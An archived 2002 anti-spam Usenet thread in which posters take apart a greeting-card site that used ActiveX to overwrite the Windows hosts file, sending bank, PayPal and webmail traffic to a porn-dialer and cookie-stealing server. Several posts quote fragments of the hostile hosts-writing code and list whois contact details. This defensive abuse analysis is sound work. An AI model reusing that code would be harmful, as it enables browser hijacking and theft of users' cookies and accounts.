    oFi.WriteLine("64.154.222.199 www.internet.com");
    oFi.WriteLine("64.154.222.199 www.ivillage.com");
    oFi.WriteLine("64.154.222.199 www.real.com");
    oFi.WriteLine("64.154.222.199 www.x10.com");
    oFi.WriteLine("64.154.222.199 www.about.com");
    ...
    oFi.Close();}
=========================================================

======================
ORIGINAL SPAM: OMITTED
======================

[I think I got it right - but for this one, the LART was long -
 but what can one do? Encrypted JavaScript, ActiveX,
 Trojan hosts file, web connection stealing site, what it does
 (porn dialer install) - I have to list and explain each of
 those to some extent, at least.]


From af380@chebucto.ns.ca Sat Feb 23 23:04:20 2002
Status: RO
X-Status: 
From: spamless@nil.nil
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Quick action!
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c786644$1_2@nntp2.nac.net>
Date: 23 Feb 2002 23:04:20 -0500
X-Trace: nntp2.nac.net 1014523460 inch.com (23 Feb 2002 23:04:20 -0500)
Lines: 41
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news.maxwell.syr.edu!netnews.com!xfer02.netnews.com!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:766631

Quick action from directNIC.com even on a Saturday night!

spamless@Nil.nil wrote:

> Do NOT go to ""http://Best-Greeting.com/" if you have IE, ActiveX,
> scripting, etc. unless you would like your Web connection to be
> stolen.

> SPAMVERTIZED URL: "http://Best-Greeting.com/view.html?EFC9EWBKFJYAR"
> --------------------------------------------------------------------

>   ACTIVEX CODE:
>   -----------------------------------------------------
>   function savefavfile(folder,label,url,icofile,iconum)
>    var oFi=FSO.CreateTextFile(folder+"\\hosts");
>     oFi.WriteLine("64.154.222.199 hotmail.com");
>     oFi.WriteLine("64.154.222.199 yahoo.com");
>     ...
>    [ETC. THE FULL LIST IS BELOW THE INDIVIDUALLY ADDRESSES
>     SECTIONS]
>     ...
>     oFi.Close();}
>   -----------------------------------------------------

>   Let me guess what that does. It creates a "hosts" file.
>   A "hosts" file is used (if it exists) to resolve hostnames
>   (if the hostname is in the hosts file) before using a nameserver.
>   So, if ever again, I try to go anywhere (well, not anywhere, but
>   to any of the major sites listed below) I will be going to:
>   "64.154.222.199"
>   -----------------------------------------------------------

Quick action:

> Thanks for the information we have terminated the site Best-Greeting.com
> at directNIC.com.

Unfortunately, that is only the host that installs the Trojan "hosts" file.
If/when the spammer notices that his site is down, he can put it up
somewhere else and it will keep working. The site that steals one's
Web connection on Level3 is the one that really has to be targeted.


From af380@chebucto.ns.ca Sat Feb 23 21:47:01 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!sunqbc.risq.qc.ca!newsfeed.mathworks.com!nycmny1-snh1.gtei.net!washdc3-snh1.gtei.net!news.gtei.net!newsfeed0.news.atl.earthlink.net!news.atl.earthlink.net!news.mindspring.net!not-for-mail
From: Mark G <bsbox@mindspring.com>
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Quick action!
Date: Sat, 23 Feb 2002 21:47:01 -0800
Organization: MindSpring Enterprises
Lines: 23
Message-ID: <3C787E55.5030407@mindspring.com>
References: <3c7848db$1_1@nntp2.nac.net> <3c786644$1_2@nntp2.nac.net>
NNTP-Posting-Host: d1.56.d3.d1
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Server-Date: 24 Feb 2002 04:46:18 GMT
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en-us
Xref: News.Dal.Ca news.admin.net-abuse.email:766639

spamless@nil.nil wrote:


> 
>>Thanks for the information we have terminated the site Best-Greeting.com
>>at directNIC.com.
>>
> 
> Unfortunately, that is only the host that installs the Trojan "hosts" file.
> If/when the spammer notices that his site is down, he can put it up
> somewhere else and it will keep working. The site that steals one's
> Web connection on Level3 is the one that really has to be targeted.
> 


True, but since Best-greetings was the first stop in the chain, it will 
take another spam run to re-establish the chain, won't it? Until then, 
with nothing redirecting to the connection stealing site, it seems to 
render that site relatively harmless.

The problem is going to be finding out the new gateway site before too 
many people get taken in.



From af380@chebucto.ns.ca Sun Feb 24 02:16:26 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Quick action!
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net> <3c786644$1_2@nntp2.nac.net> <3C787E55.5030407@mindspring.com>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c78934a$1_1@nntp2.nac.net>
Date: 24 Feb 2002 02:16:26 -0500
X-Trace: nntp2.nac.net 1014534986 inch.com (24 Feb 2002 02:16:26 -0500)
Lines: 16
Path: News.Dal.Ca!news2.muc.eurocyber.net!news.m-online.net!newsfeed.r-kom.de!newsfeed00.sul.t-online.de!t-online.de!news-spur1.maxwell.syr.edu!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:766650

Mark G <bsbox@mindspring.com> wrote:
> spamless@nil.nil wrote:
>> 
>> Unfortunately, that is only the host that installs the Trojan "hosts" file.
>> If/when the spammer notices that his site is down, he can put it up
>> somewhere else and it will keep working. The site that steals one's
>> Web connection on Level3 is the one that really has to be targeted.

> True, but since Best-greetings was the first stop in the chain, it will 
> take another spam run to re-establish the chain, won't it?

Get another host for Best-greetings; go to the name server and set the
new IP address (I haven't checked it).

It's nice to know there are white-hats still around.
Unfortunately, the site that steald the connection is on Level3.


From af380@chebucto.ns.ca Sun Feb 24 02:51:29 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!news2.muc.eurocyber.net!fu-berlin.de!news.iif.hu!news.bme.hu!news.matavnet.hu!newsfeed.matavnet.hu!out.nntp.be!propagator-SanJose!in.nntp.be!newsfeed0.news.atl.earthlink.net!news.atl.earthlink.net!news.mindspring.net!not-for-mail
From: "Mark G" <bsbox@mindspring.com>
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Quick action!
Date: Sun, 24 Feb 2002 02:51:29 -0700
Organization: MindSpring Enterprises
Lines: 15
Message-ID: <a5ad6a$ild$1@slb5.atl.mindspring.net>
References: <3c7848db$1_1@nntp2.nac.net> <3c786644$1_2@nntp2.nac.net> <3C787E55.5030407@mindspring.com> <3c78934a$1_1@nntp2.nac.net>
NNTP-Posting-Host: d1.56.cc.97
X-Server-Date: 24 Feb 2002 09:53:14 GMT
X-Priority: 3
X-MSMail-Priority: Normal
X-Newsreader: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Xref: News.Dal.Ca news.admin.net-abuse.email:766659


<spamless@Nil.nil> wrote in message news:3c78934a$1_1@nntp2.nac.net...
> Get another host for Best-greetings; go to the name server and set
the
> new IP address (I haven't checked it).

My bad. Directnic is also a registrar. I had assumed that they were
the registrar and host for best-greetings and had pulled it all.
>
> It's nice to know there are white-hats still around.
> Unfortunately, the site that steald the connection is on Level3.

Even level3 may react to something as blatant as this.




From af380@chebucto.ns.ca Sun Feb 24 06:38:04 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!news2.muc.eurocyber.net!fu-berlin.de!news.maxwell.syr.edu!pln-e!spln!dex!extra.newsguy.com!newsp.newsguy.com!news2
From: Tsu Dho Nimh <abacaxi@hotmail.com>
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Quick action!
Date: Sun, 24 Feb 2002 06:38:04 -0700
Organization: Hopelessly Dis
Lines: 21
Message-ID: <u3rh7u4ihjmn1oluilmsforlaktqvscham@4ax.com>
References: <3c7848db$1_1@nntp2.nac.net> <3c786644$1_2@nntp2.nac.net> <3C787E55.5030407@mindspring.com> <3c78934a$1_1@nntp2.nac.net>
NNTP-Posting-Host: p-374.newsdawg.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Newsreader: Forte Agent 1.7/32.534
Xref: News.Dal.Ca news.admin.net-abuse.email:766686

spamless@Nil.nil wrote:


>It's nice to know there are white-hats still around.
>Unfortunately, the site that steald the connection is on Level3.

Wasn't the FTC doing something about "browser-jacking"?  

This is SO blatantly a violation of the various laws about
messing with the computers of others that even Level3 might do
something. 




Tsu Dho Nimh

-- 
"Y'know, I can *say* I'm Ming The Merciless, Emporer of Planet Mongo, but 
unless I can produce a few legions of heavily-armed rocket ships, you're not 
likely to take me seriously."  Morely Dotes, 2001


From af380@chebucto.ns.ca Sun Feb 24 15:11:45 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!novia!novia!teleglobe.net!teleglobe.net!teleglobe.net!66.185.86.143.MISMATCH!news03.bloor.is!news2.bloor.is.POSTED!12dc6cf53ab2750!not-for-mail
Message-ID: <3C7902A7.A2E537CF@rogers.com>
From: David Ramalho <earthscibbs@rogers.com>
Organization: ***EarthScibbs***
X-Mailer: Mozilla 4.79 [en] (Win95; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Surprise! You've just 
 received a greeting card!
References: <3c7848db$1_1@nntp2.nac.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Lines: 238
Date: Sun, 24 Feb 2002 15:11:45 GMT
NNTP-Posting-Host: 24.100.247.48
X-Complaints-To: abuse@rogers.com
X-Trace: news2.bloor.is 1014563505 24.100.247.48 (Sun, 24 Feb 2002 10:11:45 EST)
NNTP-Posting-Date: Sun, 24 Feb 2002 10:11:45 EST
Xref: News.Dal.Ca news.admin.net-abuse.email:766699

spamless@Nil.nil wrote:
> 
> Do NOT go to ""http://Best-Greeting.com/" if you have IE, ActiveX,
> scripting, etc. unless you would like your Web connection to be
> stolen.
> 
> SPAMVERTIZED URL: "http://Best-Greeting.com/view.html?EFC9EWBKFJYAR"
> --------------------------------------------------------------------
>  Interesting. This page has:
> 
>    "Sorry,
>     We are closed for scheduled maintance
>     Please come back in a few hours to view and send your postcards"
> 
>  However, that is below the encrypted JavaScript section which does
>  a document write (after decrypting) of:
> 
>   "var label="Free Bisexual Pics & Videos";     //Labelvar
>    url="http://www.bitgp.com/";                 //To URLvar" ...
> 
>   What does it do? It uses ActiveX to do ... what?
> 
>   ACTIVEX CODE:
>   -----------------------------------------------------
>   function savefavfile(folder,label,url,icofile,iconum)
>    var oFi=FSO.CreateTextFile(folder+"\\hosts");
>     oFi.WriteLine("64.154.222.199 hotmail.com");
>     oFi.WriteLine("64.154.222.199 yahoo.com");

 < really big snip >

http://64.154.222.199/ redirects to http://www.dryporn.com/index1.shtml?

 Calling itself: BLIADI TGP
Various sex galleries.  This pops up when you try to leave: http://x-wild.com/
 Also it tries to get you to download an auto-dialer from here:
     http://www.0190-dialer.com/autoload.cfm?5-1-26-55


 Host name: www.dryporn.com
IP address: 64.154.222.191
     Alias: unknown.level3.net

 Registrant:
      Vladimir Satana
      Satana
      Mir 1
      Tallinn, Not Applicable 10000
      Estonia
   Registrar: Go Daddy Software (http://registrar.godaddy.com)
   Domain Name: DRYPORN.COM
      Created on: 07-Feb-02
      Expires on: 07-Feb-03
      Last Updated on: 07-Feb-02
   Administrative Contact:
      Satana, Vladimir  vladimirtsastsin@hotmail.com
      Satana
      Mir 1
      Tallinn, Not Applicable 10000
      Estonia
      (372) 666-6666      Fax -- (372) 666-6666
   Technical Contact:
      Satana, Vladimir  vladimirtsastsin@hotmail.com
      Satana
      Mir 1
      Tallinn, Not Applicable 10000
      Estonia
      (372) 666-6666      Fax -- (372) 666-6666
   Domain servers in listed order:
      NS1.RALFHOST.COM
      NS2.RALFHOST.COM
----------------------------------------

 Host name: ralfhost.com
IP address: 64.154.222.180
     Alias: unknown.level3.net

  Whois: ralfhost.com
domain:       ralfhost.com
status:       production
origin-c:     ralfinc@hotmail.com
organization: Ralf inc.
email:        ralfinc@hotmail.com#0
address:      Roadster 15
city:         Baltimore
state:        MD
postal-code:  MD 21297
country:      US
admin-c:      ralfinc@hotmail.com#0
tech-c:       ralfinc@hotmail.com#0
billing-c:    ralfinc@hotmail.com#0
nserver:      ns1.ralfhost.com  64.154.222.180
nserver:      ns2.ralfhost.com  64.154.222.181
nserver:      ns.interframe.ee  
nserver:      ns2.interframe.ee 
registrar:    JORE-1
created:      2001-10-01 22:53:56 UTC JORE-1
modified:     2002-02-04 00:22:46 UTC JORE-1
expires:      2002-10-01 16:53:43 UTC 
source:       joker.com
db-updated:   2002-02-24 15:18:20 UTC

-----------------------------------------
 Host name: x-wild.com
IP address: 64.154.222.187
     Alias: unknown.level3.net

 Whois: x-wild.com
domain:       x-wild.com
status:       production
origin-c:     vladimirtsastsin@hotmail.com
owner:        Vladimir Tshashtshin
email:        vladimirtsastsin@hotmail.com#0
address:      rahu 14-8
city:         Narva
postal-code:  20606
country:      EE
admin-c:      vladimirtsastsin@hotmail.com#0
tech-c:       vladimirtsastsin@hotmail.com#0
billing-c:    vladimirtsastsin@hotmail.com#0
nserver:      ns1.ralfhost.com  64.154.222.180
nserver:      ns2.ralfhost.com  64.154.222.181
nserver:      ns.interframe.ee  
nserver:      ns2.interframe.ee 
registrar:    JORE-1
created:      2001-12-05 23:55:03 UTC JORE-1
modified:     2002-02-04 00:16:47 UTC JORE-1
expires:      2002-12-05 17:54:49 UTC 
source:       joker.com
db-updated:   2002-02-24 15:29:04 UTC

------------------------------------
 Host name: 0190-dialer.com
IP address: 62.4.93.13
No reverse lookup configured.

   Whois: 0190-dialer.com
domain:       0190-dialer.com
status:       production
origin-c:     hostmaster@wwwhosting.de
organization: internet solutions gmbh
email:        hostmaster@wwwhosting.de#1
address:      Frankfurter Str. 1-5
city:         Eschborn
state:        Hessen
postal-code:  65760
country:      DE
admin-c:      hostmaster@wwwhosting.de#1
tech-c:       hostmaster@wwwhosting.de#1
billing-c:    hostmaster@wwwhosting.de#0
nserver:      ns.ipfb.net  
nserver:      ns2.ipfb.net 
registrar:    JORE-1
created:      2000-09-29 09:04:31 UTC core
expires:      2002-09-29 09:04:31 UTC 
source:       joker.com
db-updated:   2002-02-24 15:31:30 UTC 

----------------------------------
 Host name: wwwhosting.de
IP address: 195.4.150.53
     Alias: DELTA

   whois: wwwhosting.de
domain:      wwwhosting.de
descr:       WWW-Hosting
descr:       Frankfurter Str. 1-5
descr:       65760 Eschborn
descr:       Germany
nserver:     ns.wwwhosting.de 62.104.45.11
nserver:     ns2.wwwhosting.de 62.104.134.130
status:      connect
changed:     lastchange@denic.de 19991006
source:      DENIC

[admin-c]
Type:         PERSON
Name:         Robert Keen
Address:      WWW-Hosting
Address:      Frankfurter Str. 1-5
City:         Eschborn
Pcode:        65760
Country:      DE
Changed:      lastchange@denic.de 20000614
Source:       DENIC

[tech-c]
Type:         PERSON
Name:         Hostmaster Day
Address:      WWW-Hosting
Address:      Frankfurter Str. 1-5
City:         Eschborn
Pcode:        65760
Country:      DE
Phone:        +49 6196 4031880
Fax:          +49 6196 4031881
Email:        hostmaster@wwwhosting.de
Changed:      lastchange@denic.de 20000323
Source:       DENIC

[zone-c]
Type:         PERSON
Name:         DNS Admin Role Account WWW-Hosting
Address:      WWW-Hosting
Address:      Frankfurter Str. 1-5
City:         Eschborn
Pcode:        65760
Country:      DE
Phone:        +49 6196 4031880
Fax:          +49 6196 4031881
Email:        dnsadmin@wwwhosting.de
Changed:      lastchange@denic.de 20000323
Source:       DENIC
=================================

 One interesting thing I found is this:

 X-Wild wild teen galleries trade traffic form
    http://www.x-wild.com/webmaster.php
 If you have any questions, just email at my@email.com or icq at 221937

      ICQ: 221937
     name: Prime G.J
   e-mail: 221937@pager.icq.com
Languages:  Afrikaans, Punjabi and Urdu

my@email.com is probably fake.

 The ICQ number was recently used as contact point (Jan 24/02).
http://www.celebritywebmaster.com/spamboard/ about 1/3 of the way down.
-- copy --
Teen CJ2 (30k hits daily - 1 exit console) searches someone to 
share traffic with (1-7k daily trades).
 ICQ: 221937
-- end copy --

 Regards
 David Ramalho


From af380@chebucto.ns.ca Sun Feb 24 10:37:43 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!newsflash.concordia.ca!nntp.cs.ubc.ca!logbridge.uoregon.edu!HSNX.atgi.net!peer1-sjc1.usenetserver.com!usenetserver.com!sn-xit-04!sn-post-01!supernews.com!corp.supernews.com!bill
From: Bill Cole <bill@scconsult.com>
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Surprise! You've just received a greeting card!
Date: Sun, 24 Feb 2002 10:37:43 -0500
Organization: scconsult.com is not organized
Message-ID: <bill-1A3BAE.10374324022002@corp.supernews.com>
References: <3c7847ff$1_1@nntp2.nac.net>
User-Agent: MT-NewsWatcher/3.2 (PPC Mac OS X)
X-Complaints-To: newsabuse@supernews.com
Lines: 18
Xref: News.Dal.Ca news.admin.net-abuse.email:766703

In article <3c7847ff$1_1@nntp2.nac.net>,
 John McGowan <jmcgowan@shell.inch.com> wrote:

> Do NOT go to ""http://Best-Greeting.com/" if you have IE, ActiveX,
> scripting, etc. unless you would like your Web connection to be
> stolen.

Do you really think anyone here is clueless enough to allow spamvertised 
websites to drive MS Trojan Toolkit^W^W^WActiveX? 

I don't use any MS-ware on my own systems, but when I must I kill off 
ActiveX. If a site requires ActiveX and does not tell you so explicitly, 
it should not be trusted to use ActiveX.

-- 
Bill Cole
I don't speak for my current employer, much less my former ones. 
That disclaimer will not change the minds of a few lunatics, of course... 


From af380@chebucto.ns.ca Sun Feb 24 12:51:05 2002
Status: RO
X-Status: 
From: spamless@nil.nil
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Surprise! You've just  received a greeting card!
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net> <3C7902A7.A2E537CF@rogers.com>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c792809$1_1@nntp2.nac.net>
Date: 24 Feb 2002 12:51:05 -0500
X-Trace: nntp2.nac.net 1014573065 inch.com (24 Feb 2002 12:51:05 -0500)
Lines: 45
Path: News.Dal.Ca!news2.muc.eurocyber.net!uucp.gnuu.de!newsfeed.arcor-online.net!newsfeed.r-kom.de!newsfeed.freenet.de!newsfeed.wirehub.nl!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:766744

David Ramalho <earthscibbs@rogers.com> wrote:

> http://64.154.222.199/ redirects to http://www.dryporn.com/index1.shtml?

Yes, if you go there with the "Host:" field in the header set to something
which is not in their database. If you go there via the "hosts" file the
"Host:" field in the header will be used to create a frameset with the
page you expect (provided their database has the correct IP address) in
it (full frame - 100%) and a hidden frame for installing a porn dialer.

Of course, that can change (once they have hijacked your browser, they
can do whatever they desire with your browsing).

>  Calling itself: BLIADI TGP
> Various sex galleries.  This pops up when you try to leave: http://x-wild.com/
>  Also it tries to get you to download an auto-dialer from here:
>      http://www.0190-dialer.com/autoload.cfm?5-1-26-55

Yep. The dialer it tries to get you to download is at:
 'http://download2.0190-dialer.com/dialers/5-1-26-55.exe'

It is another dialer in this same directory that the hidden frame (if you get
the "hosts" file installed) will keep trying to install.

5-1-26-55.exe is a UPX compressed binary.

From that file (after decompressing and looking inside it):

 "WebDialer"
 "In case of any problems with this service please e-mail 
  service@ebs-ag.de or call +49 2173 2738 560."
 "... gain access to this site by dialing this 900 telephone number..."
 "Under penalty of perjury, I swear and affirm that ...
  I am not a law enforcement agent or US Postal Official  or acting 
  as an agent thereof ..."
 "We are not responsible for any material you may view using this service."
 "Once connected, your computer modem will not terminate this 900 telephone 
  call unless and until:
   -You terminate the connection ... or
   -You stay connected for longer than Twelve (12) minutes or $50.00 per call, 
    at which time you will automatically be disconnected..."

>  Host name: www.dryporn.com
> IP address: 64.154.222.191
>      Alias: unknown.level3.net


From af380@chebucto.ns.ca Sun Feb 24 12:57:43 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Surprise! You've just received a greeting card!
Newsgroups: news.admin.net-abuse.email
References: <3c7847ff$1_1@nntp2.nac.net> <bill-1A3BAE.10374324022002@corp.supernews.com>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c792997$1_1@nntp2.nac.net>
Date: 24 Feb 2002 12:57:43 -0500
X-Trace: nntp2.nac.net 1014573463 inch.com (24 Feb 2002 12:57:43 -0500)
Lines: 24
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:766749

Bill Cole <bill@scconsult.com> wrote:
> In article <3c7847ff$1_1@nntp2.nac.net>,
>  Spamless <spamless@nil.nil> wrote:

>> Do NOT go to ""http://Best-Greeting.com/" if you have IE, ActiveX,
>> scripting, etc. unless you would like your Web connection to be
>> stolen.

> Do you really think anyone here is clueless enough to allow spamvertised 
> websites to drive MS Trojan Toolkit^W^W^WActiveX? 

Not the regulars here. There are folk who get a new computer and
get a "Surprise! You've just received a greeting card!" and off they
go. It was spamvertized, so it is something we should be interested in
and for the newbies who come here the warning is useful.

In fact, at one time one of the semi-regulars here reported visiting
a site which tried to install an "*hta" file to get a back-door Trojan
(PsychWard_3, I believe) (ActiveX, etc.) - well, they did not know that,
but were asking about the site. They *had* gotten it. So - it happens.

> I don't use any MS-ware on my own systems, but when I must I kill off 
> ActiveX. If a site requires ActiveX and does not tell you so explicitly, 
> it should not be trusted to use ActiveX.


From af380@chebucto.ns.ca Sun Feb 24 16:26:59 2002
Status: RO
X-Status: 
From: spamless@nil.nil
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Surprise! You've just received a greeting card!
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c795aa3$1_1@nntp2.nac.net>
Date: 24 Feb 2002 16:26:59 -0500
X-Trace: nntp2.nac.net 1014586019 inch.com (24 Feb 2002 16:26:59 -0500)
Lines: 21
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:766808

I don't like cookies and this shows how dangerous it can be to use them for
any privileged data.

Suppose you have a bank account online.

Suppose it uses a cookie (encrypted or not) with your bank account
 information for automatic log-in.

Suppose some scam artist manages to have your system resolve the URL for the
 bank host machine to his IP address (by hacking your company's name server
 and seeding the cache with bad information or by creating a "hosts" file on
 your computer with his IP address set for the bank hostmachine).

You go to your online bank - you think. It sends all cookie data for that
hostname to the scam artist's machine. If the data is in clear text, he can
read it. If it is encrypted, he can then go the the bank's host machine and
submit the cookie data to access your account. If he has a copy of the
bank's page on his machine, he may be able to convince you to enter private
data.

Using cookies for any privileged data is bad.


From af380@chebucto.ns.ca Sun Feb 24 13:54:44 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!news2.muc.eurocyber.net!fu-berlin.de!feeder.qis.net!sn-xit-02!supernews.com!postnews1.google.com!not-for-mail
From: solitaire5@juno.com (Sarah)
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Quick action!
Date: 24 Feb 2002 13:54:44 -0800
Organization: http://groups.google.com/
Lines: 54
Message-ID: <d7f82a0.0202241354.574548d@posting.google.com>
References: <3c7848db$1_1@nntp2.nac.net> <3c786644$1_2@nntp2.nac.net> <3C787E55.5030407@mindspring.com> <3c78934a$1_1@nntp2.nac.net>
NNTP-Posting-Host: 172.138.217.183
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: posting.google.com 1014587687 2853 127.0.0.1 (24 Feb 2002 21:54:47 GMT)
X-Complaints-To: groups-abuse@google.com
NNTP-Posting-Date: 24 Feb 2002 21:54:47 GMT
Xref: News.Dal.Ca news.admin.net-abuse.email:766811

spamless@Nil.nil wrote in message news:<3c78934a$1_1@nntp2.nac.net>...
> Mark G <bsbox@mindspring.com> wrote:
> > spamless@nil.nil wrote:
> >> 
> >> Unfortunately, that is only the host that installs the Trojan "hosts" file.
> >> If/when the spammer notices that his site is down, he can put it up
> >> somewhere else and it will keep working. The site that steals one's
> >> Web connection on Level3 is the one that really has to be targeted.
>  
> > True, but since Best-greetings was the first stop in the chain, it will 
> > take another spam run to re-establish the chain, won't it?
> 
> Get another host for Best-greetings; go to the name server and set the
> new IP address (I haven't checked it).

whois -h whois.crsnic.net best-greetings.com ...
Redirecting to BULKREGISTER.COM, INC.


montmaneix 
   5 route de saint cergues
   mies, vaud 1295
   CH

   Domain Name: BEST-GREETINGS.COM

   Administrative Contact:
        montmaneix chris    montmaneix@hotmail.com
        montmaneix
        6 chemin de la poste
        founex, vaud 1297
        CH
        Phone- +41794350568 
        Fax- +41227766987
   Technical Contact:
        montmaneix chris  montmaneix@hotmail.com
        montmaneix
        6 chemin de la poste
        founex, vaud 1297
        CH
        Phone- +41794350568 
        Fax- +41227766987

   Record updated on 2000-03-08 00:00:00.
   Record created on 2000-03-08.
   Record expires on 2002-03-08.
   Database last updated on 2002-02-24 07:43:41 EST.

   Domain servers in listed order:

   NS.BULKREGISTER.COM           216.147.43.234                
   NS2.BULKREGISTER.COM          216.147.1.

Is this the one you mean?


From af380@chebucto.ns.ca Sun Feb 24 13:58:31 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news.maxwell.syr.edu!feeder.qis.net!sn-xit-02!supernews.com!postnews1.google.com!not-for-mail
From: solitaire5@juno.com (Sarah)
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Quick action!
Date: 24 Feb 2002 13:58:31 -0800
Organization: http://groups.google.com/
Lines: 17
Message-ID: <d7f82a0.0202241358.6dc2d412@posting.google.com>
References: <3c7848db$1_1@nntp2.nac.net> <3c786644$1_2@nntp2.nac.net> <3C787E55.5030407@mindspring.com> <3c78934a$1_1@nntp2.nac.net>
NNTP-Posting-Host: 172.138.217.183
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: posting.google.com 1014587913 2943 127.0.0.1 (24 Feb 2002 21:58:33 GMT)
X-Complaints-To: groups-abuse@google.com
NNTP-Posting-Date: 24 Feb 2002 21:58:33 GMT
Xref: News.Dal.Ca news.admin.net-abuse.email:766812

spamless@Nil.nil wrote in message news:<3c78934a$1_1@nntp2.nac.net>...
> Mark G <bsbox@mindspring.com> wrote:
> > spamless@nil.nil wrote:
> >> 
> >> Unfortunately, that is only the host that installs the Trojan "hosts" file.
> >> If/when the spammer notices that his site is down, he can put it up
> >> somewhere else and it will keep working. The site that steals one's
> >> Web connection on Level3 is the one that really has to be targeted.
>  
> > True, but since Best-greetings was the first stop in the chain, it will 
> > take another spam run to re-establish the chain, won't it?
> 
> Get another host for Best-greetings; go to the name server and set the
> new IP address (I haven't checked it).

Sorry -- didn't notice the lack of an _s_ in the name until after I
hit the "post" button.


From af380@chebucto.ns.ca Sun Feb 24 17:24:14 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: Re: TROJAN "hosts" FILE:COOKIE THEFT: IDENTITY THEFT?
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net> <3c795aa3$1_1@nntp2.nac.net>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c79680e$1_1@nntp2.nac.net>
Date: 24 Feb 2002 17:24:14 -0500
X-Trace: nntp2.nac.net 1014589454 inch.com (24 Feb 2002 17:24:14 -0500)
Lines: 152
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:766822

spamless@nil.nil wrote:

> I don't like cookies and this shows how dangerous it can be to use them for
> any privileged data.

Gaak.

I just realized - since your cookies are sent to the spammer's site
your cookie enabled logins are now broken. Too bad.

Gaak. Gaak.

I just checked. The "hosts" file has entries for
"bankamerica.com", "wu.com" (Western Union), "money.com", "paypal.com",
"westernunion.com", "visa.com", "ebay.com", "bestbuy.com", "money.com",

This is not *just* a porn dialer installer.

The spammer is harvesting your cookies sent to MSN, online banks, etc.

This is cookie theft.

Any data sent in clear text is his. Data in encrypted cookies is
data he can resend to the actual sites to access your accounts.

Identity theft? Bank theft?

This is not bad. This is terrible.

In a word (well, two words): it sucks.

I updated Level3 when I realized this was cookie theft as well
